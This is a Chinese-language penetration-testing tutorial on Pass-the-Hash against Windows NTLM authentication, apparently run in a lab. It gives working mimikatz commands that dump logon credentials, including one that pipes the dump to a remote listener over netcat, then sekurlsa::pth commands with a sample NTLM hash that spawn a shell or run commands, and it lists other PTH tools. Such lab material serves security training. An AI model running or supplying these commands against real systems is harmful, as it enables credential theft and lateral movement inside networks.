pass the hash原理
在Windows系统中,通常会使用NTLM身份认证,NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser) ,其中hash(哈希)分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。
从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash,如果攻击者获得了hash,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程)
pth如何利用
演示:
靶机:win08 r2
攻击:win08 r2
1.靶机中进行读取NTLM HASH:
这里使用mimikatz还有些技巧如:
1、以日志文件生成保存在当前文件夹中log.txt 并且再列出目录
mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit && dir
2、自定义保存在log.txt中
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit >> log.txt
3、将输出传输到远程机器:
攻击者:nc nc -lvp 4444
受害者:mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit | nc.exe -vv 192.168.52.1 4444
2.攻击机执行:
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:top.pentest.top /ntlm:044dfa0c35b979ed369f7335b5ea20e0"
会反弹一个cmd窗口回来 发现hash成功传递!!!
同样也可以直接执行命令mimikatz.exe privilege::debug "sekurlsa::pth /user:administrator /domain:top.pentest.top /ntlm:044dfa0c35b979ed369f7335b5ea20e0 /run:\"cmd /c whoami\"" exit
技巧::NTLM Hash = LM Hash + NT Hash,LM Hash是E19CCF75EE54E06B06A5907AF13CEF42时,可能密码为空或者没有存储LM hash,2008默认不存储LM hash。pth 用nt hash,有些工具可能需要lm hash:nthash格式,没有lm hash可以使用任意32个字符填充,所以我们可以这样进行00000000000000000000000000000000:E19CCF75EE54E06B06A5907AF13CEF42,只要前32位存在就行
pth总结:
在内网渗透中,当我们能够读取ntlm,但是发现抓取不到明文的时候,可以通过hash传递的方式进行横向移动。
对于哈希传递不只是通过mimikatz,还可以通过wce,impacket工具包等等进行攻击。
能够实现Pass The Hash的工具:
Smbmap
CrackMapExec
Smbexec
Metasploit(exploit/windows/smb/psexec_psh )
wmiexec
Invoke-WMIExec
Invoke-SMBExec
mimikatz(Overpass-the-hash)